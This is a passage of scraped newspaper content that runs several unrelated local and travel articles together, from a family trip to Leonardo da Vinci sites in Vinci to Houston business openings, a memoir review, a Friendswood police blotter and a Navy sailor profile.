look, we grab the next bus, which deposits us at a stop by the Vinci tourist info office. From there, it's about a five-minute walk to just about anywhere in town, including the Hotel Monna Lisa, where we get our handmade map and head on over to the Museo Leonardiano. Vinci's top attraction was dreamed up 100 years ago, back when the world was observing the 400th anniversary of Leonardo's death. Over the course of the next few decades, his drawings were used to build reconstructions of many of his machines, and these formed the basis for the museum, which was inaugurated in 1953 - exactly one year after the 500th anniversary of his birth on April 15, 1452. The collection has expanded to fill four buildings. The best place to start is the ticket office, in Palazzina Uzielli, right off Piazza dei Guidi. Modern artist Mimmo Paladino has transformed the square into a playful, uneven landscape, made of sloped slabs of concrete that are engraved with numbers and decorated with shiny silver mosaic images of faces, hands, boxes, cones and arrows. Our daughter is smitten, but my husband and I manage to drag her into the museum, which helpfully sells a game-filled booklet ($2.50) for families. (You can also borrow a copy of the English "mini-guide" that offers translations of the Italian descriptions throughout the museum.) The exhibit starts with an explanation of how young Leonardo got hooked on engineering. His arrival in Florence was not long after Filippo Brunelleschi had completed his extraordinary dome on the city's cathedral, a marvel of architecture that required the invention of completely new building equipment. Leonardo was soon apprenticed to artist Andrea del Verrocchio, who created the lantern that went on top of the dome. Watching impossibly heavy loads being lifted into the sky led Leonardo to want to experiment with machines of his own. Upstairs is all about anatomy, which Leonardo studied both through observation and dissection. A selection of his detailed drawings of body parts has been brought to life through sculptures seemingly made of muscle and bone. I worry it's a bit creepy, but our unfazed kid quickly bonds with a poster of the Vitruvian Man, with his ideal proportions and extra limbs. And with that, we're ready to storm the castle. The exhibition continues down the street, up a flight of stairs and inside the Castello dei Conti Guidi, a fortress built in the 12th century that's now the headquarters of the Museo Leonardiano. We're immediately bombarded by several war machines, including a tank that fires cannons in every direction, a ladder for scaling city walls and an easy-to-assemble bridge, designed to flee from an enemy. Then we walk beneath a gigantic pair of wings to learn about Leonardo's obsession with flight (and water and motion and various other ideas). On the next floor up, we examine several of Leonardo's most curious inventions. There's a diver's breathing apparatus - think freaky scuba suit - that wouldn't be usable in deep water. There's a self-propelled cart that people once thought of as Leonardo's automobile - until researchers realized it was a stage prop for a play. There's also a wooden bicycle based on a drawing discovered among Leonardo's notebooks. But everyone now agrees it was a hoax, and that the real inventor was a German guy in the 1800s. Another flight of stairs takes visitors to the tower's summit, where there's a panoramic terrace. Unfortunately, we're met by this sign: "Open from 1 April to 31 October." The view is not the only thing we miss during our visit. Just beside the castle is Piazza Guido Masi, which is normally dominated by a statue of the Vitruvian Man. But he's not there! (At the tourist info office, a woman explains he's getting cleaned up to prep for upcoming Vinci excitement.) Even without him, it's a lovely place to sit and admire the view of the countryside - or, in the opposite direction, the bell tower atop Chiesa di Santa Croce. A red brick facade and stained-glass windows also beckon us to this church, which dates back nearly 1,000 years. The building we see today was substantially renovated just before the 500th anniversary of Leonardo's birth, which makes sense. Its most prized possession is the stone font where he was baptized. It's next to a tablet quoting his grandfather's announcement of his arrival at the third hour (about 10:30 p.m.) of night. Modern metal sculptures circle the font depicting biblical scenes, including, of course, the Last Supper. It's a reminder that we should eat and get to bed, so we're ready for more Leonardo in the morning. We start the day by popping into "Leonardo with Hollar's Eyes," the first show at the new Fondazione Rossana e Carlo Pedretti exhibition center. The 17th-century engravings by Wenceslaus Hollar - displayed in grand, gorgeous rooms - masterfully reproduce Leonardo's drawings of heads, some with youthful, delicate features and others with grotesque, toothless faces. Things get sillier in the activity wing, where we pose for a digital camera that takes purposely distorted photos and practice Leonardo's famous mirror writing technique. (The left-handed genius probably jotted down his notes backward because he didn't want to smear the ink.) There's one other attraction in Vinci: Museo Ideale Leonardo da Vinci. After a decade-long closure, it plans to reopen in May with a new exhibit, "Leonardo Lives," highlighting archival research and his continued influence on the art world. But its doors are shuttered as we walk past, heading north of the castle. To explore the last two parts of Museo Leonardiano, we need to take the road out of town. The left side is for cars, while up the hill to the right is the Strada Verde, or green path, which quickly turns from asphalt to gravel. Within minutes, we're wandering through an olive tree forest carpeted in wildflowers, alone except for the occasional mountain biker. The path divides at several points, and although we had been told to follow the "14" signs, one wrong turn takes us on a scenic 20-minute detour. We're also briefly waylaid by the discovery of a swing set. So what probably should be a half-hour hike stretches throughout the morning. Eventually, however, we reconnect with the road and arrive in the tiny suburb of Anchiano - at the same time as a tour group. We're all crowded here on a stone patio because it's in front of the house where Leonardo was born, the illegitimate son of Ser Piero, a notary, and a woman named Caterina. Inside, a video starring a hologram of Leonardo repeats the story of his life on loop, alternating between English and Italian. It's an elderly version of him, with a bald head, a flowing beard and a billowy outfit, and he seems a bit morose, especially when recounting his final years. It makes me wish he could watch the video playing in the next room, with footage of the 500th-birthday celebrations back in 1952. All that's left of Museo Leonardiano is the nearby farmhouse Villa il Ferrale, which houses an exhibit on Leonardo's painting. Nothing is original, just high-definition life-size copies, each paired with a write-up on what made him such a master of technique. There's the natural-looking hand stroking the pet in the Lady with an Ermine, the sfumato on display in the Mona Lisa, the understanding of perspective that led him to alter "Annunciation" based on its placement in a church. Even a 4-year-old understands that this guy is good. As we stroll back into town, we ask our daughter what she thinks about everything we've seen. She declares, "I'm going to be more creative than Leonardo." It could happen. After all, they both spent part of their childhoods in Vinci. --- IF YOU GO: WHERE TO STAY - Hotel Monna Lisa Via Lamporecchiana 27, Vinci 011-39-0571-56266 hotelmonnalisavinci.it/en Oriental rugs, a teacup collection and pink walls - as well as a welcoming staff - make this hotel feel more like Grandma's house. Accommodations are simple but spacious, and the downtown location is especially convenient for travelers without a car ("Downtown" in Vinci terms means a small flock of geese live across the street.) From about $95 per night. - Agriturismo Il Piastrino Via Piastrino Via Vallicella, Vinci 011-39-0571-56148 ilpiastrino.it No wonder this farmhouse set among the olive trees is popular for wedding parties: There's an outdoor pool, plus a traditional Tuscan restaurant that serves oil and chianti produced on the property. It's a 25-minute walk or a five-minute drive to Vinci's main attractions. Open daily for dinner, plus Sunday lunch. From about $60 per night. WHERE TO EAT - Caffe del Castello Via della Torre 7, Vinci 011-39-391-4983819 A vintage red Vespa and sunflowers galore keep the mood cheery at this spot with outdoor and indoor seating. The menu is short, but with a variety of options, including caprese salad with sheep milk mozzarella, lasagna al ragu and a mega bruschetta topped with zucchini, peppers, tomatoes and olives. Kids will appreciate the colored pencils on the tables and the freshly baked desserts. Entrees start at about $8. - Il Ristoro del Museo Via Montalbano 9, Vinci 011-39-0571-56516 il-ristoro-del-museo.business.site This stone cellar dining room hidden behind a velvet curtain offers plenty of hearty vegetarian options, including four-cheese gnocchi and ribollita soup. Carnivores, meanwhile, can order liver pate and steak with porcini mushrooms. Open noon to 2:30 p.m. for lunch and 7 to 10:30 p.m. for dinner Sunday through Thursday. Open only for lunch Friday and only for dinner Saturday. Entrees start about $8; starters, about $6. WHAT TO DO - Museo Leonardiano Piazza dei Conti Guidi, Vinci 011-39-0571-933251 museoleonardiano.it/eng From April 15 to Oct. 15, the castle will host a special exhibit, "Leonardo a Vinci. Alle origini del Genio," detailing his connections to Vinci throughout his career. Special extended hours 9 a.m. to 11 p.m. April 15 to May 26; otherwise open 9:30 a.m. to 7 p.m. daily. About $15 per person during special exhibit; reduced senior and family rates available. Kids younger than 6 free. - Cantine Leonardo Via Provinciale di Mercatale No. 291, Vinci 011-39-0571-902444 cantineleonardo.it Pop into this enoteca on the way into Vinci to taste wines inspired by Leonardo (or just to buy some local snacks and sips). Tours take visitors through a working farm and seemingly endless vineyards. Wine tastings, available in Italian or English, are offered Monday through Saturday. It's best to book tours and tastings in advance by calling or emailing enoteca@cantineleonardo.it. Tastings offered Monday through Saturday. Starts at about $16 per person. INFORMATION - vinciturismo.com --- EXHIBITS OUTSIDE VINCI - The Louvre Between Rue de Rivoli and Quai Francois Mitterand, Paris 011-33-1-40-20-50-50 louvre.fr/en/leonardo-da-vinci Few specifics are available about this exhibit, which promises to display a "unique group of artworks that only the Louvre could bring together, in addition to its outstanding collection of paintings and drawings by the Italian master." The Louvre is open from 9 a.m. to 6 p.m. every day except Tuesday. Tickets cost about $19 per person online and about $17 at the door. - The Queen's Gallery Buckingham Palace, Westminster, London 011-44-303-123-7300 rct.uk/visit/the-queens-gallery-buckingham-palace More than 200 of Leonardo's drawings - all acquired during the reign of Charles II - will be featured in the exhibit, "Leonardo da Vinci: A Life in Drawing" (on display from May 24 through Oct. 13.) The works demonstrate the breadth of his interests, which included botany, anatomy and engineering. Gallery closed until May 24, then open 10 a.m. to 5:30 p.m. daily. Open at 9:30 a.m. from July 20 through Sept. 29. Tickets about $15.50. - Palazzo Vecchio Piazza della Signoria, Florence 011-39-055-2768325 museicivicifiorentini.comune.fi.it/palazzovecchio This was where Leonardo was commissioned to paint "The Battle of Anghiari" in 1503, although he eventually gave up on the project. These sorts of connections to the city are the focus of "Leonardo & Firenze" (through June 24), which highlights a selection of folios from the Codex Atlanticus. Each drawing or note references Florentine institutions or personalities, such as a 1515 scribble appearing to criticize the Medici family. Open 9 a.m. to 11 p.m. Friday through Wednesday and 9 a.m. to 2 p.m. Thursdays until September. Tickets $19 until June 24; younger than 18 free. - Le Macchine di Leonardo Inside Michelangelo Gallery at Via Camillo Cavour 21, Florence 011-39-055-899-9471 macchinedileonardo.com Play with models of Leonardo's machines, including his "gym," which looks like something you might find at a health club, with foot pedals and handles that lift weighted sacks. Kids adore the intercom, a metal pipe that lets folks chat while in two separate rooms, and the drawing/building area, which includes a spot to practice mirror writing. Open from 9:30 a.m. to 7:30 p.m. daily. Tickets cost about $8. - Leonardo da Vinci Museum Via de Servi 66, Florence 011-39-055-282966 mostredileonardo.com This museum displays Leonardo machines that visitors are allowed to touch, such as a revolving crane that kids can sit on to play Renaissance construction worker. It has a room dedicated to Leonardo's paintings, and features several large activity tables that invite visitors to try building one of Leonardo designs, including his self-supporting bridge and dome. Open 10 a.m. to 7 p.m. daily; closes at 6 p.m. between Nov. 1 and March 31. Tickets about $8. - Fondazione Palazzo Strozzi Piazza degli Strozzi, Florence 011-39-055-2645155 palazzostrozzi.org While Leonardo was an apprentice to Andrea del Verrocchio, the student supposedly so far surpassed his master that Verrocchio never painted again. Their ties, and those with Verrocchio's other famous pupils - including Domenico Ghirlandaio and Sandro Botticelli - are explored in the exhibit "Verrocchio, Master of Leonardo." It is the first-ever retrospective of Verrocchio and emphasizes his remarkable range and influence as an artist. Look for several drawings and a sculpture by Leonardo. Open 10 a.m. to 8 p.m. daily and until 11 p.m. Thursdays through July 14. Will travel to the National Gallery of Art for display from Sept. 29 through Feb. 2, 2020. Tickets cost $15 per person. President Donald Trump said hes spoken to Saudi Arabia and other countries about increasing oil flow and that all are in agreement. Trump described the conversations in a tweet on Friday in which he also said a California tax on gasoline is causing big problems on pricing for that state. Valero Energy's renewable diesel refinery near New Orleans is about to see a $1.1 billion upgrade. A subsidiary of the San Antonio refiner, Diamond Alternative Energy, and its partner Darling Ingredients will invest a combined total of $1.1 billion to expand their joint-venture Diamond Green Diesel refinery in Norco, Louisiana, the companies and Louisiana state government announced this week. The expansion project in Norco will increase diesel production capacity at the site by 400 million gallons per a year to more than 675 million gallons a year, according to a release from the Louisiana Economic Development Council. The upgrades are expected to be complete by 2021, according to Valero's first quarter earnings. RELATED: Valero Energy's profits tumble as gasoline margins fall, crude costs rise Renewable diesel is an alternative fuel that is chemically similar to petroleum diesel and nearly identical in its performance characteristics. Compared to biodiesel, renewable diesel can be blended into petroleum diesel at higher blend levels. It can also allow truckers to meet most low carbon fuel standards. The Diamond Green Diesel facility can convert about 2.3 billion pounds of recycled material - such as animal fats, inedible corn and used cooking oil, into 2.75 million gallons a year of renewable diesel. EARLIER: Shell inks renewable diesel deal in Oregon Valero Energy will contribute about $550 million toward the Diamond Green Refinery upgrades, said Lillian Riojas , a Valero spokeswoman, in an email. Valero isn't the only big oil company investing in renewable diesel. Houston's Phillips 66 last November announced it would partnering with Renewable Energy Group Inc. to build a large scale renewable diesel plant next to its existing oil refinery in Ferndale, Wash. Phillips 66 also is teaming up with California-based Ryze Renewables to build two diesel plants in Nevada. Royal Dutch Shell also inked a long-term deal to purchase renewable diesel from a proposed $1 billion renewable project in Oregon. Also this week Valero said it would invest $400 million to expand the alkylation unit at its St. Charles Refinery in Louisiana, increasing capacity to convert isobutane and low-modular-weight alkenes into alkylate. The expansion will include new pipes, feed driers, an olefin feeder, accumulator and is expected to be complete by 2020. Forth + Nomad, a high-end retailer of art, handcrafted goods and apparel in Heights Mercantile, is moving to a larger space across the street and opening a temporary store in River Oaks District. The Husband and wife team of Andy and Morgan Sommer, who launched the business in 2017 to serve Houstons arts and maker communities, will occupy a 4,068-square-foot renovated industrial building at 731 Yale St. under a 10-year lease. Local designer Matthew Oakes designed the new space, which includes a Maker Bar, where patrons can make products from a rotating menu that includes leather goods, candles, rings, ceramics; a white infinity wall offered for rent to local photographers; a BrandSpaces section available for rent as a store; a rentable podcast studio; a rotating local art exhibit; more than 100 brands and 3,000 handmade products. Local artist Adrian Landon Brooks painted a mural on the building, which has an outdoor patio. Forth + Nomad will leave its Heights store on May 4 and will open a 1,022-square-foot pop-up in River Oaks District, 4444 Westheimer, on May 11. The pop-up shop will sell handcrafted jewelry, ceramics, home goods and apothecary products through Jan. 15. Island Grill, a health-conscious American-Mediterranean restaurant from Faysal and Maria Haddad, will lease 3,160 square feet on the ground floor of downtowns Total Plaza at 1201 Louisiana. The restaurant will serve breakfast, lunch and made-to-order juices and smoothies, and offer catering services when it opens in 2020. It will be the sixth Island Grill, following an upcoming opening in Springwoods Village. Owned by Brookfield Properties, the 35-story Total Plaza has 11,735 square feet of retail space. Eric Lestin of Cushman & Wakefield represented Island Grill. Brookfield Properties was represented in-house. The Toasted Yolk Cafe has opened a 4,347 square-foot restaurant in the East Shore Place retail and office development on East Shore Drive at Grogans Mill Road in The Woodlands. East Shore Place totals 58,463 square feet and is being developed by Wulfe & Co. Paul Vernon of Henry S. Miller represented the tenant. Michelle Sobiesk of Wulfe & Co. represented the landlord. Code Ninjas, a learning center that teaches children computer coding by showing them how to create video games, has opened its 100th franchise location. Wendy and James Nguyen operate the new center at 1104 Rayford Road in Spring. The chain was founded by Houston programmer and entrepreneur David Graham in 2016. Torchys Tacos will open at 336 Marketplace, a development of Fidelis Realty Partners at 351 S. Loop 336 West in Conroe, on Wednesday. The Austin-based taco chain has 52 locations in Texas and upcoming stores at 5535 Weslayan and The Woodlands Mall. CityPlace, a 60-acre mixed-use district in Springwoods Village, has signed retail tenants at two mixed-use projects that are under construction. Focus Optical, an eye care boutique operated by Thy and Christopher Nguyen, will occupy a 1,984-square-foot ground floor space in CityPlace 1. Lux Noa Nail Spa will open a 3,738-square-foot salon in 1401 Lake Plaza Drive, a two-story office and retail building next to Star Cinema Grill. Tommi Linh Patterson of Xite Realty represented Focus Optical, which has a location in The Woodlands. Greg Stackhouse of Stack Realty represented Lux Noa, which has a location in The Boardwalk at Towne Lake in Cypress. CityPlace, a joint venture of Patrinely Group, USAA Real Estate and CDC Houston, was represented by Nick Hernandez and Crystal Allen of Transwestern, along with Dennis Tarro of Patrinely Group. katherine.feser@chron.com twitter.com/kfeser Just in time for the weekend, a new steakhouse is opening in Shenandoah. The second outpost of Killen's Steakhouse officially opens its doors at 1700 Research Forest Drive Friday. The original location in Pearland launched in 2006. The revamped 9,000-square-foot space, formerly occupied by Bob's Steak & Chop House, features a barbecue pit, wood-burning grill, wine cellar with more than 700 labels, private event space, and seating for 325. ON HOUSTONCHRONICLE.COM: Ronnie Killen to open in former Hickory Hollow space The upscale steakhouse gets it right with its top-notch cuts of beef including ribeyes, New York strips and Wagyu. The 34-oz. tomahawk, seasoned simply with salt and pepper, is seared to perfection to create a heavy golden-brown crust and finished off under an infrared broiler to your desired temperature. Beyond steak, you can also expect to see seasonal fish and vegetables on the menu, along with southern and barbecue dishes from sister restaurant, Killen's STQ, including cherry-habanero glazed pork belly, crab cakes and fried chicken. Family-style sides range from creamed corn to broccoli-rice casserole, and the list of can't-miss desserts features croissant creme brulee bread pudding, carrot cake, cheesecake and more. ON HOUSTONCHRONICLE.COM: Why you don't see many smoked burgers at barbecue and burger joints The bar at Killen's Steakhouse, which seats 22, doles out local craft beers, handcrafted cocktails and an extensive roster of whiskeys. The new Killen's Steakhouse locale marks the sixth restaurant from Ronnie Killen, a 2019 James Beard Award semi-finalist. The Cordon Bleu-trained chef also owns and operates Killen's Barbecue, Killen's Steakhouse, Killen's TMX and Killen's Burgers in Pearland, along with Killen's STQ in Houston. Ronnie Killen is already busy working on his next project. He is renovating the former Hickory Hollow restaurant space at 101 Heights Blvd., where he plans to open "Killen's" restaurant this fall. "The menu will offer the best of what we do at all the restaurants, with more southern comfort fare," Killen told Chron.com. Dishes slotted to be on the menu include smothered pork chops, catfish, gumbo and short rib tamales. FLAVOR: Hungry for restaurant reviews and recipes? Get the free, weekly Flavor newsletter delivered to your email. While Killen said his Heights Boulevard restaurant will be his final restaurant opening in 2019, he also said his future plans include bringing more of his concepts to The Woodlands-area. Although the new location bears the name "The Woodlands," it is actually located in the city of Shenandoah, which is located to the east of the township. "There is so much potential in the area," Killen said. "Bringing our steakhouse brand there is a good start for us." The new Killen's Steakhouse location in Shenandoah is currently open for dinner Monday through Thursday from 5 p.m. to 9 p.m.and Friday and Saturday from 5 p.m. to 10 p.m. Marcy de Luna is a digital reporter. You can follow her on Twitter @MarcydeLuna and Facebook @MarcydeLuna. Read her stories on our breaking news site, Chron.com, and on our subscriber site, HoustonChronicle.com. | Marcy.deLuna@chron.com | Text CHRON to 77453 to receive breaking news alerts by text message With her first book, Erin Lee Carr chose a tough task: telling the story of her father. What made it even tougher is that her dad was David Carr one of the best-known journalists in the country; a self-described wild man, who was gifted with a facile mind, a big reputation and a bigger personality. In her raw and earnest memoir, All That You Leave Behind, Erin brings us into her struggle to come to grips with who her father was and how to harness the weight and promise of his enduring legacy to shape who shes becoming. Her story is not told in chronological order. Instead, it begins with Davids sudden, shocking death in February 2015 and closes on his funeral, wake and the vacuum in which his survivors find themselves while trying to rebuild their shattered lives. Throughout this visceral book, Erin is frank about her fathers struggles with addiction, as well as her own. She reveals how shes buoyed and burdened by the miraculous story of her life: the product of a short-lived relationship between two addicts, raised by a single dad who continued to use until he was faced with losing his young twin daughters. Growing up during her fathers drugs-to-fame story is no fairy tale, and its clear she feels pressure to continue the ascent. Erin does an excellent job of bringing her famed father to warts-and-all life. Her telling rings true to the many Minnesotans who knew David, who was born and raised in the Twin Cities and worked at the defunct Twin Cities Reader before editing the Washington City Paper and then landing a job at the New York Times. She tells riveting stories some warm, some jarring of her childhood and teen years. She also uses her fathers writing to help conjure the man. According to the books publisher, Erin sifted through the voluminous correspondence between father and daughter. Those e-mails, Gchats and notes written on scraps of paper help reveal their complicated relationship. When the excerpts of Davids writing extend for pages, however, it becomes unclear whether this is Erins story or her fathers. In addition, they often seem to hammer home something Erin makes clear from the first pages of this compelling book: that she and her sisters were loved fiercely by an admittedly imperfect man. Now 30 and an accomplished director, producer and writer, Erin also recounts the early years of her career, how her dad tried to help her get established and how hard he pushed her to be excellent. Always. All That You Leave Behind isnt a bleak book. Its filled with love, hope and ambition just as David was, just as his daughter is. And there are plenty of moments of levity, including her addendum: A Things I Learned From David Carr list. (Listen when you enter a room. Be defiant. Alcohol is not a necessary component to life. Always love.) All That You Leave Behind by Erin Lee Carr Ballantine Books 240 pages; $26 See More Collapse Its clear from reading her memoir that Erin sees herself as a work in progress. Its also clear that she will continue to try to navigate the world as her father advised: by doing the next right thing. Collection of David Carrs writings coming in 2020 Writings by the late David Carr, the revered author and journalist, are coming out in book form next year. Ta-Nehisi Coates, a friend whom Carr once mentored, is providing the introduction. Final Draft: The Selected Work of David Carr is scheduled for the spring of 2020 and will be edited by his widow, Jill Rooney Carr. Final Draft will include everything from Carrs cultural writing to his struggles with addiction., according to publisher Houghton Mifflin Harcourt. Carr was a reporter and media critic for the New York Times at the time of his death, in 2015, at age 58. He wrote the memoir The Night of the Gun and also worked at such publications as New York magazine and the Washington City Paper, where he hired Coates. Kids at theater camps and productions each summer in Friendswood look like theyre having a blast traipsing like zombies, dressing like a princess, shimmering and shining. But theyre also learning skills and benefits that could aid them for a lifetime, said Cathy Holbrook, the founding artistic director and owner of Purple Box Theater. This summer, her playhouse at 1309 W. Parkwood Ave. will host 26 camps and stage productions that include the musical Disney Frozen JR, the play How to Hide Your Zombie and a show featuring improvisational acting that is called Improv for Kids. These activities encourage engagement and learning, Holbrook said. They have a positive impact on emotional, physical and social development. Benefits of participating in theater camps, productions and program such as Purple Boxs Broadway Kids include sparking youths imaginations, building focus, improving memory, enhancing communication skills, fostering self-confidence and nurturing empathy, she said. The directors for the camps are Victoria Reyes, TMar Bunch, Sydney Moore and Mikayla Lovejoy. Bunch, along with Alric Davis and Megan Allen, will direct productions of Disney Frozen JR. in groups for ages 6-8. 8-10, 11-13 and 13-17. Chase Harris will direct How to Hide Your Zombie in groups for ages 8-10 and 11-16. Alec White is the director for the improvisational acting show. Four camps starting June 3 illustrate how additional camps will be conducted throughout the summer. With fees per student ranging from $95 to $135, PBT requires a $35 deposit at the time of registration to hold a spot in the camp, with the balance due a week before the camp begins. Camp fees are nonrefundable but can be transferred to another camp or class. At the end of each camp, the students will perform a showcase on the Purple Box stage. In the first camp, Paw Patrol, kids ages 4-7 will meet from 9 a.m. to 11 a.m. June 3-6, dressing up like their favorite Paw Patrol characters, singing favorite songs, learning dances and playing theater games. The cost is $95 per student. In the second camp, from 9 a.m.-noon June 3-6, kids ages 6-12 will learn the music and choreography to popular songs from the movie and Broadway musicals versions of Aladdin. The cost is $135 per student. In a princess camp from 1 p.m. to 3 p.m. June 3-6, children ages 5-11 will dress up like their favorite princesses, sing songs, learn dances to go with the songs, make a craft and wear special makeup. The cost is $125 per student. In the Xanadu camp, scheduled from 1-4 p.m. June 3-6, kids ages 7-14 will dress as their favorite muse to explore the wonders of the popular 2007 Broadway musical. The cost is $135 per student. Later camps focus on themes related to Harry Potter, Hamilton, Taylor Swift, songs from The Voice, zombies, Mamma Mia! and Newsies. Other programs will cover dance leaps and turns, theater (stage combat, stage makeup and technical theater), Hairspray, The Addams Family, The Greatest Showman, Annie and High School Musical. Also planned are programs related to Disney on Broadway, dance team preparation, hip-hop dancing and vocal improvement, and tryouts will be held for the new PBT dance team. In addition, summer-season opportunities to sing and dance together to favorite, Broadway-style show tunes will give young thespians the opportunity to join PBTs year-round program called Broadway Kids. The best part of getting involved in a theater program is meeting great people who have similar interests, Holbrook.said. Then they dont feel isolated or that they are alone in having artistic views. For further information, call 818-642-4665 or click here. Don Maines is a freelance writer who can be reached at donmaines@att.net Friendswood police reported recent drug related arrests, including of a woman accused of possession of methamphetamine which police said she claimed to be healing crystals. Police charged a 17-year-old Friendswood man with possession of a controlled substance after officers found him with cocaine April 8 at Centennial Park, 2200 S. Friendswood Drive. A witness had reported five individuals smoking marijuana behind the parks restrooms, police said. Officers arrived to find the individuals inside a blue Infinity, according to the report. A 17-year-old and three 18-year-old occupants were released without charges, police said. A Friendswood man, 31, was charged with possession of a controlled substance after a traffic stop for failure to signal a lane change April 10 in the 3100 block of FM 528, police said. The officer reportedly found a purple bag containing methamphetamine and a black bag containing marijuana during a vehicle search. Police charged a Dickinson woman, 43, with possession of a controlled substance after a traffic stop for failure to signal a lane change April 13 in the 1300 block of West Parkwood Avenue. An officer reportedly found four butane lighters and a small pipe during a pat-down search as well as shards of methamphetamine in the womans purse. The woman claimed the shards were healing crystals, but a field test verified the substance was methamphetamine, according to the report. Police charged a Manvel woman, 27, Alvin man, 48, and Pearland man, 27, with possession of drug paraphernalia after a traffic stop April 15 in the 1200 block of West Parkwood Avenue. The woman had been stopped for speeding, and the officer noticed a passengerthe Alvin manhad a small bag in his lap containing marijuana residue, police said. The officer reportedly found a meth pipe, marijuana joints, rolling papers and other drug paraphernalia during a vehicle search. Trio charged after traffic stop Three women face various charges after a traffic stop for speeding April 13 in the 2900 block of West Parkwood Avenue, Friendswood police reported. The driver, a 38-year-old Alvin woman, allegedly did not stop for police until she reached the intersection of FM 528 and Texas 35. She failed a field sobriety test, consented to a breath test and was charged with DWI, according to the report. The officer placed the woman in custody and conducted a vehicle search, finding marijuana in a purse belonging to a second woman, age 38, of Rosharon, police said. The second woman allegedly also had tramadol, acetaminophen with codeine, a vape pen, a vape cartridge containing THC oil and 1.2 grams of cocaine, according to the report. Police charged her with possession of a controlled substance. A third woman, 43, of Alvin, was charged with public intoxication, police said. Burglary Medication and cash were reported stolen from an unlocked vehicle April 8 in the 200 block of Brandywyne Drive, police said. The burglary likely occurred sometime overnight, according to the report. A resident in the 200 block of West Castle Harbour Drive reported the theft of a watch from his vehicle April 9, police said. The theft occurred sometime in the prior three weeks, according to the report. An attempted car burglary was reported April 10 in the 16900 block of Blackhawk Boulevard, police said. The victim, unable to unlock his passenger-side door, found the lock punched, or pushed in, and tool marks on the lock, according to the report. Nothing was reported stolen. A computer, iPad and jewelry were stolen during a home burglary April 12 in the 300 block of Colonial Drive, police said. Entry occurred through an unlocked window between 3:30 and 9:45 p.m., according to the report. Theft A Friendswood officer conducting a license plate check on a suspicious vehicle April 8 at Shell, 3698 FM 528, found Houston police had reported the vehicle stolen March 12. The operator of the Penske box truck told the officer he was having problems and was on the phone with his boss, police said. An employee at Give Me A Bark, 103 Shadwell Lane, reported the theft of a wallet April 8, police said. The theft allegedly occurred between 3 and 3:30 p.m., while workers were replacing a window. Fraud Fraudulent checks were cashed April 10 at AAA Blast Cote in the 14300 block of Beamer Road, police said. Assault Police charged a Houston man, 41, with assault after he allegedly choked his girlfriend April 13 in the 16500 block of Blackhawk Boulevard. Driving while intoxicated Police charged a Pasadena man, 38, with DWI after a traffic stop for an insurance violation April 8 in the 200 block of East Parkwood Avenue. He reportedly failed a field sobriety test and agreed to a blood test. A 23-year-old Alvin man was charged with DWI after a stop for making a wide right turn April 10 in the 200 block of East Edgewood Drive, police said. He reportedly had an outstanding Alvin warrant, failed a field sobriety test and agreed to provide a blood specimen. Police charged a Friendswood man, 26, with DWI after a witness reported him passed out in his vehicle in the drive-through at Whataburger, 214 E. Parkwood Ave. An officer observed as the man backed out of the drive-thru, pulled forward and then appeared to slump forward and pass out, according to the report. The officer reportedly approached and noted an interlock device installed on the mans vehicle. The mans license was suspended, and he failed a field sobriety test and refused a breath test, police said. A Friendswood woman, 33, was charged with DWI after she allegedly ran a red light and caused an accident April 13 in the 100 block of East Parkwood Avenue, police said. She failed a field sobriety test and refused a breath or blood test, according to the report. Her vehicle reportedly contained marijuana shake and an open container of alcohol. Public intoxication Police charged a 19-year-old Friendswood man with public intoxication April 9 in the 4900 block of FM 2351. He reportedly was a passenger in a vehicle stopped for a traffic violation. Police charged a Friendswood man, 59, with public intoxication after a witness reported his behavior April 13 in the 3100 block of FM 528. Officers arrived to find the man parked in the Wendys drive-thru, police said. Two teens were transported to a hospital after officers investigated a suspicious vehicle April 14 at 1776 Park in the 100 block of Imperial Drive, police said. Officers found one of the teens passed out in the passenger seat and another lying on the ground in a nearby wooded area, according to the report. Police charged a 23-year-old Pearland man with minor in possession of alcohol and possession of drug paraphernalia. Tobacco A school official found a 16-year-old Friendswood High School student charging his Juul e-cigarette during class, according to an April 8 police report. The e-cigarette was turned over to the school resource officer, and the student will receive a summons to municipal court to answer the charge of possession of tobacco products by a minor, police said. A 17-year-old Friendswood High School student will receive a summons to municipal court to answer the charge of possession of tobacco products by a minor after administrators found her in possession of a lighter and tobacco rolling papers, police said. School officials, who had received an anonymous tip, also searched her car and found cigarettes, an e-cigarette and a marijuana roach, according to the report. Other incidents Police charged a Friendswood man, 36, with resisting arrest after a disturbance April 14 at Enclave Apartments, 5000 Watkins Way. Officers allegedly noted drug paraphernalia in the apartment. As an officer attempted to place the man in handcuffs, he pulled away and attempted to resist arrest, police said. The man also received a citation for possession of drug paraphernalia, according to the report. PEARL HARBOR Modern attack submarines are the most technologically advanced and capable undersea warfighters in the world. Operating these highly complex submarines require sailors from the U.S. Navys submarine community, also known as the Silent Service. Petty Officer 1st Class Michael Ervin, a 2006 Cinco Ranch High School graduate and native of Katy, Texas, has served for 12 years and works as a Navy machinists mate serving aboard one of the worlds most advanced nuclear-powered submarines, USS Illinois, homeported at Joint Base Pearl Harbor-Hickam, Hawaii. As a Navy machinists mate, Ervin will operate and maintain naval nuclear propulsion plants and associated equipment; supervise and administer naval nuclear propulsion plant operations; thoroughly understand reactor, electrical, and mechanical theory involved in the operation of the nuclear reactor, steam plant, propulsion plant, and auxiliary equipment; operate and repair systems associated with reactor plants, propulsion plants, and auxiliary support systems. Ervin credits his service in the Navy to the many lessons he learned in Katy. Katy, Texas, is a very diverse town and it has helped me immensely working with and leading sailors from all 50 states in the nation. said Ervin. Our Navy reflects all parts of the country and being able to look back on my time in Katy has been a help to me. Jobs are highly varied aboard the submarine. Approximately 130 sailors make up the submarines crew, doing everything from handling weapons to maintaining nuclear reactors. Attack submarines are designed to hunt down and destroy enemy submarines and surface ships; strike targets ashore with cruise missiles; carry and deliver Navy SEALs; carry out intelligence, surveillance, and reconnaissance missions; and engage in mine warfare. Their primary tactical advantage is stealth, operating undetected under the sea for long periods of time. Because of the demanding environment aboard submarines, personnel are accepted only after rigorous testing and observation. Submariners are some of the most highly trained and skilled people in the Navy. Regardless of their specialty, everyone has to learn how everything on the ship works and how to respond in emergencies to become qualified in submarines and earn the right to wear the coveted gold or silver dolphins on their uniform. Though there are many ways individuals can serve their communities and country Ervin considers his naval service as his biggest accomplishment. I have had many family members in the military and that is why serving my country and continuing the legacy means so much to me, said Ervin. I grew up knowing I was going to serve one day. Being stationed in Pearl Harbor, often referred to as the gateway to the Pacific in defense circles, means Ervin is serving in a part of the world taking on a new importance in Americas focus on rebuilding military readiness, strengthening alliances, and reforming business practices in support of the National Defense Strategy. Our priorities center on people, capabilities and processes, and will be achieved by our focus on speed, value, results and partnerships, said 